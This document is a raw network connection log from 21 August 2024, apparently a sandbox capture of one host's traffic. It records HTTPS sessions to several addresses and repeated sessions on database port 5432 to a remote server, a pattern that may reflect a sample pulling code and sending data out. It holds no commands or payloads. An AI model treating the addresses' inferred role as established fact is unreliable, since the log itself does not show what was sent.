Aug 21, 2024 09:40:02.342165947 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.342173100 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.342186928 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.342303991 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.343040943 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.343058109 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.343091011 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.343097925 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.343161106 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.343193054 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.343481064 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.343502045 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.343543053 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.343550920 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.343715906 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.345652103 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.345683098 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.345731974 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.345758915 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.345765114 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.345839024 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.426753044 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.426776886 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.426857948 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.426873922 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.427160978 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.427258015 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.427273989 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.427304983 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.427309990 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.427337885 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.427355051 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.428103924 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.428123951 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.428159952 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.428169012 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.428190947 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.428221941 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.428230047 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.428246021 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.428278923 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.428283930 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.428306103 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.428320885 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.428725004 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.428740978 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.428791046 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.428801060 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.428893089 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.429461956 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.429510117 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.429524899 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.429532051 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.429558992 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.429575920 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.429945946 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.429961920 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.430008888 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.430016994 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.430176973 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.431982040 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.431997061 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.432055950 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.432063103 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.432137966 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.513339043 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.513361931 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.513431072 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.513444901 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.513484001 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.513931990 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.513947964 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.514008999 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.514015913 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.514112949 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.514280081 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.514295101 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.514348984 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.514357090 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.514380932 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.514394999 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.514446020 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.514780998 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.514796972 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.514839888 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.514846087 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.514870882 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.514885902 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.515202045 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.515218019 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.515268087 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.515278101 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.515506983 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.515717983 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.515733957 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.515774965 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.515780926 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.515878916 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.516174078 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.516187906 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.516232967 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.516238928 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.516266108 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.516297102 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.518193960 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.518208981 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.518275023 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.518281937 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.518543005 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.599455118 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.599477053 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.599519968 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.599576950 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.599586964 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.599631071 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.599865913 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.599884987 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.599924088 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.599931955 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.599993944 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.600630045 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.600644112 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.600692987 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.600701094 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.600742102 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.601011038 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.601031065 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.601084948 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.601093054 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.601136923 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.601533890 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.601547956 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.601593971 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.601603985 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.601634026 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.601648092 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.602144957 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.602159977 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.602206945 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.602216959 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.602250099 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.602662086 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.602677107 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.602734089 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.602741003 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.602957964 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.604697943 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.604713917 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.604768991 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.604777098 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.604799986 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.604818106 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.685904026 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.685925007 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.685983896 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.686002016 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.686064005 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.686398983 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.686414003 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.686443090 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.686451912 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.686471939 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.686489105 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.686826944 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.686841011 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.686891079 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.686899900 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.686994076 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.687031031 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.687036991 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.687066078 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:02.687072039 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.687107086 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.687163115 CEST	63778	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:02.687180042 CEST	443	63778	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:27.114104986 CEST	63784	443	192.168.2.6	34.117.59.81
Aug 21, 2024 09:40:27.114161968 CEST	443	63784	34.117.59.81	192.168.2.6
Aug 21, 2024 09:40:27.114239931 CEST	63784	443	192.168.2.6	34.117.59.81
Aug 21, 2024 09:40:27.129452944 CEST	63784	443	192.168.2.6	34.117.59.81
Aug 21, 2024 09:40:27.129491091 CEST	443	63784	34.117.59.81	192.168.2.6
Aug 21, 2024 09:40:27.606822014 CEST	443	63784	34.117.59.81	192.168.2.6
Aug 21, 2024 09:40:27.606971025 CEST	63784	443	192.168.2.6	34.117.59.81
Aug 21, 2024 09:40:27.612478018 CEST	63784	443	192.168.2.6	34.117.59.81
Aug 21, 2024 09:40:27.612478018 CEST	63784	443	192.168.2.6	34.117.59.81
Aug 21, 2024 09:40:27.612504959 CEST	443	63784	34.117.59.81	192.168.2.6
Aug 21, 2024 09:40:27.612739086 CEST	443	63784	34.117.59.81	192.168.2.6
Aug 21, 2024 09:40:27.612922907 CEST	63784	443	192.168.2.6	34.117.59.81
Aug 21, 2024 09:40:36.552624941 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:36.557457924 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:36.557990074 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:36.572927952 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:36.577718973 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.181943893 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.195208073 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:37.200182915 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.371637106 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.372492075 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:37.377419949 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.551315069 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.551337004 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.552694082 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:37.557723045 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:37.557723045 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:37.562642097 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.562654972 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.734113932 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.734805107 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:37.739674091 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.910382032 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:37.917028904 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:37.921835899 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:38.095354080 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:38.097703934 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:38.102530956 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:38.486124992 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:38.489037037 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:38.492906094 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:38.492975950 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:38.493844032 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:38.665669918 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:38.665890932 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:38.670653105 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:38.841288090 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:38.854012012 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:38.859050989 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:39.029674053 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:39.029818058 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:39.034687042 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:39.206013918 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:39.206044912 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:39.206091881 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:39.206295013 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:39.211147070 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:39.385755062 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:39.387476921 CEST	63790	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:39.387537956 CEST	443	63790	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:39.387733936 CEST	63790	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:39.388062954 CEST	63790	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:39.388076067 CEST	443	63790	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:39.432246923 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:39.856785059 CEST	443	63790	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:39.856997013 CEST	63790	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:39.859184980 CEST	63790	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:39.859184980 CEST	63790	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:39.859200001 CEST	443	63790	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:39.859416962 CEST	443	63790	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:39.859566927 CEST	63790	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:39.859638929 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:39.864398003 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:40.378334045 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:40.378671885 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:40.383497953 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:40.898339987 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:40.898580074 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:40.903503895 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:41.273955107 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:41.276611090 CEST	63793	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:41.276675940 CEST	443	63793	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:41.276874065 CEST	63793	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:41.277329922 CEST	63793	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:41.277350903 CEST	443	63793	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:41.292972088 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:41.293071985 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:41.739645004 CEST	443	63793	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:41.739723921 CEST	63793	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:41.741144896 CEST	63793	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:41.741163015 CEST	443	63793	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:41.741295099 CEST	63793	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:41.741300106 CEST	443	63793	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:41.741307974 CEST	443	63793	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:41.741493940 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:41.741548061 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:41.746448040 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:41.746464014 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:41.749653101 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:41.754678965 CEST	5432	63787	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:41.754790068 CEST	63787	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:41.758399963 CEST	63796	443	192.168.2.6	140.82.121.3
Aug 21, 2024 09:40:41.758426905 CEST	443	63796	140.82.121.3	192.168.2.6
Aug 21, 2024 09:40:41.758501053 CEST	63796	443	192.168.2.6	140.82.121.3
Aug 21, 2024 09:40:41.758939028 CEST	63796	443	192.168.2.6	140.82.121.3
Aug 21, 2024 09:40:41.758951902 CEST	443	63796	140.82.121.3	192.168.2.6
Aug 21, 2024 09:40:41.948503017 CEST	443	63793	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:41.948595047 CEST	63793	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:42.437453985 CEST	443	63796	140.82.121.3	192.168.2.6
Aug 21, 2024 09:40:42.437540054 CEST	63796	443	192.168.2.6	140.82.121.3
Aug 21, 2024 09:40:42.438852072 CEST	63796	443	192.168.2.6	140.82.121.3
Aug 21, 2024 09:40:42.438868046 CEST	443	63796	140.82.121.3	192.168.2.6
Aug 21, 2024 09:40:42.438997984 CEST	63796	443	192.168.2.6	140.82.121.3
Aug 21, 2024 09:40:42.439038992 CEST	443	63796	140.82.121.3	192.168.2.6
Aug 21, 2024 09:40:42.439086914 CEST	63796	443	192.168.2.6	140.82.121.3
Aug 21, 2024 09:40:42.440643072 CEST	63799	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:42.440675974 CEST	443	63799	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:42.440742016 CEST	63799	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:42.441149950 CEST	63799	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:42.441160917 CEST	443	63799	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:42.906538010 CEST	443	63799	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:42.906622887 CEST	63799	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:42.907879114 CEST	63799	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:42.907890081 CEST	443	63799	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:42.908035040 CEST	443	63799	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:42.908050060 CEST	63799	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:42.908058882 CEST	443	63799	185.199.108.133	192.168.2.6
Aug 21, 2024 09:40:42.908071995 CEST	63799	443	192.168.2.6	185.199.108.133
Aug 21, 2024 09:40:47.924565077 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:48.031896114 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:48.032421112 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:48.032421112 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:48.037281036 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:48.646420956 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:48.647423029 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:48.652431011 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:48.822005033 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:48.822386026 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:48.827183962 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:48.999102116 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:48.999125004 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:48.999176025 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:49.000164986 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:49.000252008 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:49.005028009 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:49.005053043 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:49.175291061 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:49.175507069 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:49.180327892 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:49.352339983 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:49.360089064 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:49.365075111 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:49.535988092 CEST	5432	63800	38.180.213.183	192.168.2.6
Aug 21, 2024 09:40:49.588485003 CEST	63800	5432	192.168.2.6	38.180.213.183
Aug 21, 2024 09:40:52.807868004 CEST	63800	5432	192.168.2.6	38.180.213.183
